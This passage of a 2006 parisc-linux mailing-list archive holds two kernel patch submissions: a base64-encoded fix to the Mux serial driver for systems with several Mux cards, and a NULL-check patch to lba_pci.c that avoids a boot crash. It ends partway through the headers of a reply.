X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Nov 2006 07:51:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 03 Nov 2006 08:51:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37B067D84A;
	Fri,  3 Nov 2006 00:51:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29741-08; Fri, 3 Nov 2006 00:51:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B8D87D841;
	Fri,  3 Nov 2006 00:51:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 412907D82B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Nov 2006 00:51:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29741-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Nov 2006 00:51:37 -0700 (MST)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.225])
	by free.linux.hp.com (Postfix) with ESMTP id BAAD47D7C0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Nov 2006 00:51:37 -0700 (MST)
Original-Received: by wx-out-0506.google.com with SMTP id h31so515525wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 02 Nov 2006 23:51:37 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:mime-version:content-type;
	b=GznL+2bmw5Bmn0wL1NDnXHS8tyHTBhAKEEkxri2XQLtpi/pvo8pxjER2swUDjNFd+zoiEvc7kp0YBFPlnMoZel0Y74xJXSGWXDITBksxEjCZolE1JtAvtPGS7uUzqr6YvU4yMpYjRVDs+Jlr4KjBvfiLEjWjajbhcoKkPbKqxbM=
Original-Received: by 10.90.84.17 with SMTP id h17mr875538agb.1162540297115;
	Thu, 02 Nov 2006 23:51:37 -0800 (PST)
Original-Received: by 10.90.53.10 with HTTP; Thu, 2 Nov 2006 23:51:37 -0800 (PST)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ic18dNcWYmYSfenCanc3vihKWkZTQRQV
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24064

------=_Part_7886_21731243.1162540297083
Content-Type: multipart/alternative; 
	boundary="----=_Part_7887_30573624.1162540297083"

------=_Part_7887_30573624.1162540297083
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hello All,

The Mux driver did not properly handle multiple Mux cards in the system.
One of the biggest problems I ran into on the E-35 is the detection of other
Mux cards happens before the detection of the built-in Mux card.   This
caused problems because the console would be be ttyB0 without the additional
Mux card, and ttyB16 with the additional Mux card.

The patch is still rough, but I wanted to present the proof-of-concept patch
I came up with to solve the problem to this list for review.

Basically the patch checks to see if the console on the PAGE0 address is a
Mux.  If it is, it calculates the number of ports that are available on the
Mux and reserves these ports before registering the driver.   The other
information (iomem resources, etc) are still done when the devices is
actually probed.

Let me know what you think :)

Thanks!

- Ryan

------=_Part_7887_30573624.1162540297083
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hello All,<br><br>The Mux driver did not properly handle multiple Mux cards in the system.&nbsp;&nbsp; One of the biggest problems I ran into on the E-35 is the detection of other Mux cards happens before the detection of the built-in Mux card.&nbsp;&nbsp; This caused problems because the console would be be ttyB0 without the additional Mux card, and ttyB16 with the additional Mux card.
<br><br>The patch is still rough, but I wanted to present the proof-of-concept patch I came up with to solve the problem to this list for review.<br><br>Basically the patch checks to see if the console on the PAGE0 address is a Mux.&nbsp; If it is, it calculates the number of ports that are available on the Mux and reserves these ports before registering the driver.&nbsp;&nbsp; The other information (iomem resources, etc) are still done when the devices is actually probed.
<br><br>Let me know what you think :)<br><br>Thanks!<br><br>- Ryan<br><br>

------=_Part_7887_30573624.1162540297083--

------=_Part_7886_21731243.1162540297083
Content-Type: text/x-patch; name=mux-multicard.diff; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: base64
X-Attachment-Id: f_eu2a43by
Content-Disposition: attachment; filename="mux-multicard.diff"

ZGlmZiAtLWdpdCBhL2RyaXZlcnMvc2VyaWFsL211eC5jIGIvZHJpdmVycy9zZXJpYWwvbXV4LmMK
aW5kZXggNDhhOWQyMi4uYzVkN2RjYyAxMDA2NDQKLS0tIGEvZHJpdmVycy9zZXJpYWwvbXV4LmMK
KysrIGIvZHJpdmVycy9zZXJpYWwvbXV4LmMKQEAgLTI3LDYgKzI3LDcgQEAKICNpbmNsdWRlIDxs
aW51eC9kZXZpY2UuaD4KICNpbmNsdWRlIDxhc20vaW8uaD4KICNpbmNsdWRlIDxhc20vaXJxLmg+
CisjaW5jbHVkZSA8YXNtL3BkYy5oPgogI2luY2x1ZGUgPGFzbS9wYXJpc2MtZGV2aWNlLmg+CiAK
ICNpZmRlZiBDT05GSUdfTUFHSUNfU1lTUlEKQEAgLTQ3Miw1OSArNDczLDQ3IEBAIHN0YXRpYyBz
dHJ1Y3QgbXV4X2NhcmQgKiBfX2luaXQgZ2V0X25ld18KIH0KIAogLyoqCi0gKiBtdXhfcHJvYmUg
LSBEZXRlcm1pbmUgaWYgdGhlIFNlcmlhbCBNdXggc2hvdWxkIGNsYWltIHRoaXMgZGV2aWNlLgot
ICogQGRldjogVGhlIHBhcmlzYyBkZXZpY2UuCisgKiBnZXRfbXV4X3BvcnRfY291bnQgLSBHZXQg
dGhlIG51bWJlciBvZiBwb3J0cyB0aGUgTVVYIHN1cHBvcnRzLgorICogQGhwYTogVGhlIEhQQSBv
ZiB0aGUgTVVYIGRldmljZS4KICAqCi0gKiBEZXRlcmltaW5lIGlmIHRoZSBTZXJpYWwgTXV4IHNo
b3VsZCBjbGFpbSB0aGlzIGNoaXAgKHJldHVybiAwKQotICogb3Igbm90IChyZXR1cm4gMSkuCisg
KiBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBJT0RDIHRvIGRldGVybWluZSB0aGUgbnVtYmVyIG9m
IHBvcnRzCisgKiB0aGUgTVVYIHN1cHBvcnRzLgogICovCi1zdGF0aWMgaW50IF9faW5pdCBtdXhf
cHJvYmUoc3RydWN0IHBhcmlzY19kZXZpY2UgKmRldikKK3N0YXRpYyBpbnQgX19pbml0IGdldF9t
dXhfcG9ydF9jb3VudCh1bnNpZ25lZCBpbnQgaHBhKQogewotCWludCBpLCBzdGF0dXMsIHBvcnRz
OworCWludCBzdGF0dXM7CiAJdTggaW9kY19kYXRhWzMyXTsKIAl1bnNpZ25lZCBsb25nIGJ5dGVj
bnQ7Ci0Jc3RydWN0IHVhcnRfcG9ydCAqcG9ydDsKLQlzdHJ1Y3QgbXV4X2NhcmQgKmNhcmQ7CiAK
LQlzdGF0dXMgPSBwZGNfaW9kY19yZWFkKCZieXRlY250LCBkZXYtPmhwYS5zdGFydCwgMCwgaW9k
Y19kYXRhLCAzMik7Ci0JaWYoc3RhdHVzICE9IFBEQ19PSykgewotCQlwcmludGsoS0VSTl9FUlIg
IlNlcmlhbCBtdXg6IFVuYWJsZSB0byByZWFkIElPREMuXG4iKTsKLQkJcmV0dXJuIDE7Ci0JfQor
CXN0YXR1cyA9IHBkY19pb2RjX3JlYWQoJmJ5dGVjbnQsIGhwYSwgMCwgaW9kY19kYXRhLCAzMik7
CisJQlVHX09OKHN0YXR1cyAhPSBQRENfT0spOwogCi0JcG9ydHMgPSBHRVRfTVVYX1BPUlRTKGlv
ZGNfZGF0YSk7Ci0gCXByaW50ayhLRVJOX0lORk8gIlNlcmlhbCBtdXggZHJpdmVyICglZCBwb3J0
cykgUmV2aXNpb246IDAuNFxuIiwgcG9ydHMpOwotCi0JY2FyZCA9IGdldF9uZXdfbXV4X2NhcmQo
KTsKLQlpZihjYXJkID09IE5VTEwpCi0JCXJldHVybiAxOwotCi0JY2FyZC0+ZGV2ID0gZGV2Owot
CWNhcmQtPnBvcnRfY291bnQgPSBwb3J0czsKLQlyZXF1ZXN0X21lbV9yZWdpb24oY2FyZC0+ZGV2
LT5ocGEuc3RhcnQgKyBNVVhfT0ZGU0VULAotCQljYXJkLT5wb3J0X2NvdW50ICogTVVYX0xJTkVf
T0ZGU0VULCAiTXV4Iik7Ci0KLQlpZighcG9ydF9jbnQpIHsKLQkJbXV4X2RyaXZlci5jb25zID0g
TVVYX0NPTlNPTEU7CisJcmV0dXJuIEdFVF9NVVhfUE9SVFMoaW9kY19kYXRhKTsKK30KIAotCQlz
dGF0dXMgPSB1YXJ0X3JlZ2lzdGVyX2RyaXZlcigmbXV4X2RyaXZlcik7Ci0JCWlmKHN0YXR1cykg
ewotCQkJcHJpbnRrKEtFUk5fRVJSICJTZXJpYWwgbXV4OiBVbmFibGUgdG8gcmVnaXN0ZXIgZHJp
dmVyLlxuIik7Ci0JCQlyZXR1cm4gMTsKLQkJfQorLyoqCisgKiBzZXR1cF9tdXhfcG9ydHMgLSBT
ZXR1cCBhbGwgdGhlIG11eCBwb3J0c2UuCisgKiBAaHBhOiBUaGUgSFBBIG9mIHRoZSBNVVggZGV2
aWNlLgorICoKKyAqIFRoaXMgZnVuY3Rpb24gaXMgdXNlZCB0byBpbml0aWFsaXplIGFsbCB0aGUg
cG9ydHMgZm9yIHRoZSBnaXZlbiBtdXgKKyAqIGFuZCByZWdpc3RlciB0aGUgcG9ydHMgd2l0aCB0
aGUgc2VyaWFsIGNvcmUgZHJpdmVyLgorICovCitzdGF0aWMgaW50IF9faW5pdCBzZXR1cF9tdXhf
cG9ydHModW5zaWduZWQgaW50IGhwYSwgdW5zaWduZWQgaW50IG51bV9wb3J0cykKK3sKKwlpbnQg
aSwgc3RhdHVzOworCXN0cnVjdCB1YXJ0X3BvcnQgKnBvcnQ7CiAKLQkJaW5pdF90aW1lcigmbXV4
X3RpbWVyKTsKLQkJbXV4X3RpbWVyLmZ1bmN0aW9uID0gbXV4X3BvbGw7CisJaWYocG9ydF9jbnQg
PT0gMCkgeworCQlwcmludGsoS0VSTl9JTkZPICJTZXJpYWwgbXV4IGRyaXZlci4gIFJldmlzaW9u
OiAwLjVcbiIpOwogCX0KIAotCWZvcihpID0gMDsgaSA8IHBvcnRzOyArK2ksICsrcG9ydF9jbnQp
IHsKKwlmb3IoaSA9IDA7IGkgPCBudW1fcG9ydHM7ICsraSwgKytwb3J0X2NudCkgewogCQlwb3J0
ID0gJm11eF9wb3J0c1twb3J0X2NudF0ucG9ydDsKLQkJcG9ydC0+aW9iYXNlCT0gMDsKLQkJcG9y
dC0+bWFwYmFzZQk9IGRldi0+aHBhLnN0YXJ0ICsgTVVYX09GRlNFVCArCi0JCQkJCQkoaSAqIE1V
WF9MSU5FX09GRlNFVCk7Ci0JCXBvcnQtPm1lbWJhc2UJPSBpb3JlbWFwX25vY2FjaGUocG9ydC0+
bWFwYmFzZSwgTVVYX0xJTkVfT0ZGU0VUKTsKLQkJcG9ydC0+aW90eXBlCT0gVVBJT19NRU07Ci0J
CXBvcnQtPnR5cGUJPSBQT1JUX01VWDsKKwkJcG9ydC0+aW9iYXNlICAgID0gMDsKKwkJcG9ydC0+
bWFwYmFzZSAgID0gaHBhICsgTVVYX09GRlNFVCArIChpICogTVVYX0xJTkVfT0ZGU0VUKTsKKwkJ
cG9ydC0+bWVtYmFzZSAgID0gaW9yZW1hcF9ub2NhY2hlKHBvcnQtPm1hcGJhc2UsIE1VWF9MSU5F
X09GRlNFVCk7CisJCXBvcnQtPmlvdHlwZSAgICA9IFVQSU9fTUVNOworCQlwb3J0LT50eXBlICAg
ICAgPSBQT1JUX01VWDsKIAkJcG9ydC0+aXJxCT0gTk9fSVJROwogCQlwb3J0LT51YXJ0Y2xrCT0g
MDsKIAkJcG9ydC0+Zmlmb3NpemUJPSBNVVhfRklGT19TSVpFOwpAQCAtNTQzLDEwICs1MzIsMzAg
QEAgc3RhdGljIGludCBfX2luaXQgbXV4X3Byb2JlKHN0cnVjdCBwYXJpcwogCQlCVUdfT04oc3Rh
dHVzKTsKIAl9CiAKLSNpZmRlZiBDT05GSUdfU0VSSUFMX01VWF9DT05TT0xFCi0gICAgICAgIHJl
Z2lzdGVyX2NvbnNvbGUoJm11eF9jb25zb2xlKTsKLSNlbmRpZgotCW1vZF90aW1lcigmbXV4X3Rp
bWVyLCBqaWZmaWVzICsgTVVYX1BPTExfREVMQVkpOworCXJldHVybiAwOworfQorCisvKioKKyAq
IG11eF9wcm9iZSAtIERldGVybWluZSBpZiB0aGUgU2VyaWFsIE11eCBzaG91bGQgY2xhaW0gdGhp
cyBkZXZpY2UuCisgKiBAZGV2OiBUaGUgcGFyaXNjIGRldmljZS4KKyAqCisgKiBEZXRlcmltaW5l
IGlmIHRoZSBTZXJpYWwgTXV4IHNob3VsZCBjbGFpbSB0aGlzIGNoaXAgKHJldHVybiAwKQorICog
b3Igbm90IChyZXR1cm4gMSkuCisgKi8KK3N0YXRpYyBpbnQgX19pbml0IG11eF9wcm9iZShzdHJ1
Y3QgcGFyaXNjX2RldmljZSAqZGV2KQoreworCWludCBwb3J0X2NvdW50ID0gZ2V0X211eF9wb3J0
X2NvdW50KGRldi0+aHBhLnN0YXJ0KTsKKwlzdHJ1Y3QgbXV4X2NhcmQgKmNhcmQgPSBnZXRfbmV3
X211eF9jYXJkKCk7CisJaWYoY2FyZCA9PSBOVUxMKQorCQlyZXR1cm4gMTsKKworCWNhcmQtPmRl
diA9IGRldjsKKwljYXJkLT5wb3J0X2NvdW50ID0gcG9ydF9jb3VudDsKKwlyZXF1ZXN0X21lbV9y
ZWdpb24oY2FyZC0+ZGV2LT5ocGEuc3RhcnQgKyBNVVhfT0ZGU0VULAorCQljYXJkLT5wb3J0X2Nv
dW50ICogTVVYX0xJTkVfT0ZGU0VULCAiTXV4Iik7CisKKwlpZihkZXYtPmhwYS5zdGFydCAhPSBQ
QUdFMC0+bWVtX2NvbnMuaHBhKQorCQlzZXR1cF9tdXhfcG9ydHMoZGV2LT5ocGEuc3RhcnQsIHBv
cnRfY291bnQpOwogCiAJcmV0dXJuIDA7CiB9CkBAIC01NjUsMTMgKzU3NCw2NCBAQCBzdGF0aWMg
c3RydWN0IHBhcmlzY19kcml2ZXIgc2VyaWFsX211eF9kCiB9OwogCiAvKioKKyAqIGNvbnNvbGVf
aXNfbXV4IC0gRGV0ZXJtaW5lcyBpZiB0aGUgY29uc29sZSBpcyBhIE1VWCBkZXZpY2UuCisgKgor
ICogVGhpcyBmdW5jdGlvbiBjaGVja3MgdGhlIFBBR0UwIGNvbnNvbGUgZGV2aWNlIHRvIGRldGVy
bWluZQorICogaWYgdGhlIGRldmljZSBpcyBhIE1VWC4KKyAqLworc3RhdGljIGludCBfX2luaXQg
Y29uc29sZV9pc19tdXgodm9pZCkKK3sKKwlpbnQgc3RhdHVzOworCXU4IGlvZGNfZGF0YVszMl07
CisJdW5zaWduZWQgbG9uZyBieXRlY250OworCisJc3RhdHVzID0gcGRjX2lvZGNfcmVhZCgmYnl0
ZWNudCwgUEFHRTAtPm1lbV9jb25zLmhwYSwgMCwgaW9kY19kYXRhLCAzMik7CisJQlVHX09OKHN0
YXR1cyAhPSBQRENfT0spOworCisJaWYoKGlvZGNfZGF0YVszXSAmIDB4MWYpICE9IEhQSFdfQV9E
SVJFQ1QpCisJCXJldHVybiAwOworCisJaWYoKChpb2RjX2RhdGFbNF0gJiAweGYpIDw8IDE2IHwg
KGlvZGNfZGF0YVs1XSA8PCA4KSB8IGlvZGNfZGF0YVs2XSkgIT0gMHgwMDBEKQorCQlyZXR1cm4g
MDsKKworCXJldHVybiAxOworfQorCisKKy8qKgogICogbXV4X2luaXQgLSBTZXJpYWwgTVVYIGlu
aXRhbGl6YXRpb24gcHJvY2VkdXJlLgogICoKICAqIFJlZ2lzdGVyIHRoZSBTZXJpYWwgTVVYIGRy
aXZlci4KICAqLwogc3RhdGljIGludCBfX2luaXQgbXV4X2luaXQodm9pZCkKIHsKLQlyZXR1cm4g
cmVnaXN0ZXJfcGFyaXNjX2RyaXZlcigmc2VyaWFsX211eF9kcml2ZXIpOworCWludCBzdGF0dXM7
CisKKyNpZmRlZiBDT05GSUdfU0VSSUFMX01VWF9DT05TT0xFCisJbXV4X2RyaXZlci5jb25zID0g
TVVYX0NPTlNPTEU7CisjZW5kaWYKKworICAgICAgIC8qIElmIHRoZSBjb25zb2xlIGlzIGEgTVVY
LCBzZXR1cCB0aGUgbXV4IHBvcnRzIHRoYXQgYmVsb25nIHRvIHRoZQorICAgICAgICAqIGNvbnNv
bGUgYmVmb3JlIHJlZ2lzdGVyaW5nIHRoZSBzZXJpYWxfbXV4X2RyaXZlci4gIFRoaXMgcHJldmVu
dHMKKyAgICAgICAgKiB0aGUgcG9ydHMgZnJvbSBiZWluZyBhc3NpZ25lZCBpbiB0aGUgd3Jvbmcg
b3JkZXIgaWYgdGhlIHN5c3RlbQorICAgICAgICAqIGhhcyBtdWx0aXBsZSBNVVggY2FyZHMgaW5z
dGFsbGVkLgorICAgICAgICAqLworICAgICAgIGlmKGNvbnNvbGVfaXNfbXV4KCkpIHsKKwkJc3Rh
dHVzID0gdWFydF9yZWdpc3Rlcl9kcml2ZXIoJm11eF9kcml2ZXIpOworCQlCVUdfT04oc3RhdHVz
KTsKKworCQlzZXR1cF9tdXhfcG9ydHMoUEFHRTAtPm1lbV9jb25zLmhwYSwgZ2V0X211eF9wb3J0
X2NvdW50KFBBR0UwLT5tZW1fY29ucy5ocGEpKTsKKwkJcmVnaXN0ZXJfY29uc29sZSgmbXV4X2Nv
bnNvbGUpOworCX0KKworCXN0YXR1cyA9IHJlZ2lzdGVyX3BhcmlzY19kcml2ZXIoJnNlcmlhbF9t
dXhfZHJpdmVyKTsKKwlpZihzdGF0dXMgPT0gMCAmJiBwb3J0X2NudCA+IDApIHsKKwkJaW5pdF90
aW1lcigmbXV4X3RpbWVyKTsKKwkJbXV4X3RpbWVyLmZ1bmN0aW9uID0gbXV4X3BvbGw7CisJCW1v
ZF90aW1lcigmbXV4X3RpbWVyLCBqaWZmaWVzICsgTVVYX1BPTExfREVMQVkpOworCX0KKworCXJl
dHVybiBzdGF0dXM7CiB9CiAKIC8qKgo=
------=_Part_7886_21731243.1162540297083
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_7886_21731243.1162540297083--



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Wed, 8 Nov 2006 15:07:06 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Wed__8_Nov_2006_15_07_06_+0100_Az_r2JZvx/QF+cTa"
X-Trace: ger.gmane.org 1416624207 21528 80.91.229.3 (22 Nov 2014 02:43:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Nov 2006 14:07:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 08 Nov 2006 15:07:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE3237D805;
	Wed,  8 Nov 2006 07:07:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31890-07; Wed, 8 Nov 2006 07:07:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C09EB7D844;
	Wed,  8 Nov 2006 07:07:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 64D147D844
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Nov 2006 07:07:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31666-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 8 Nov 2006 07:07:17 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id E232D7D7C1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Nov 2006 07:07:16 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP id A53BFEB1D7
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Nov 2006 15:07:15 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP id CF9442FD2A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Nov 2006 15:07:12 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>) id 1Gho3X-0003Oq-1G
	for parisc-linux@lists.parisc-linux.org; Wed, 08 Nov 2006 15:05:31 +0100
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ldJicXNxTXs9XKyRbmQ5WwRKRzdyMoMV
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24065

This is a multi-part message in MIME format.

--Multipart=_Wed__8_Nov_2006_15_07_06_+0100_Az_r2JZvx/QF+cTa
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

Hi All,

Referencing this thread about a crash when there is a pcmcia bridge plugged in a C3600 :
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-October/030312.html

This small patch avoid a crash at boot time.

It's certainly not perfect as it would be better to fix pci_scan_bus_parented() which returns NULL but at least it makes the box booting.

Thanks for applying or fixing this in a better way :)


Cheers,
  Guy


-- 
Guy Martin
Gentoo Linux - HPPA port Lead

--Multipart=_Wed__8_Nov_2006_15_07_06_+0100_Az_r2JZvx/QF+cTa
Content-Type: text/x-patch;
 name="lba-pci-no-crash.diff"
Content-Disposition: attachment;
 filename="lba-pci-no-crash.diff"
Content-Transfer-Encoding: 7bit

diff -uNr linux-2.6.18.2-hppa.orig/drivers/parisc/lba_pci.c linux-2.6.18.2-hppa/drivers/parisc/lba_pci.c
--- linux-2.6.18.2-hppa.orig/drivers/parisc/lba_pci.c	2006-11-08 13:59:32.000000000 +0100
+++ linux-2.6.18.2-hppa/drivers/parisc/lba_pci.c	2006-11-08 14:13:14.000000000 +0100
@@ -1557,7 +1557,8 @@
 		lba_dump_res(&lba_dev->hba.lmmio_space, 2);
 #endif
 	}
-	pci_enable_bridges(lba_bus);
+	if (lba_bus)
+		pci_enable_bridges(lba_bus);
 
 
 	/*

--Multipart=_Wed__8_Nov_2006_15_07_06_+0100_Az_r2JZvx/QF+cTa
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Wed__8_Nov_2006_15_07_06_+0100_Az_r2JZvx/QF+cTa--



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Wed, 8 Nov 2006 23:40:37 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20061109064037.GC22063@colo.lackof.org>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624207 21530 80.91.229.3 (22 Nov 2014 02:43:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Nov 2006 06:40:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 09 Nov 2006 07:40:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9298D7D717;
	Wed,  8 Nov 2006 23:40:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10216-06; Wed, 8 Nov 2006 23:40:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 913867D6D4;
	Wed,  8 Nov 2006 23:40:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
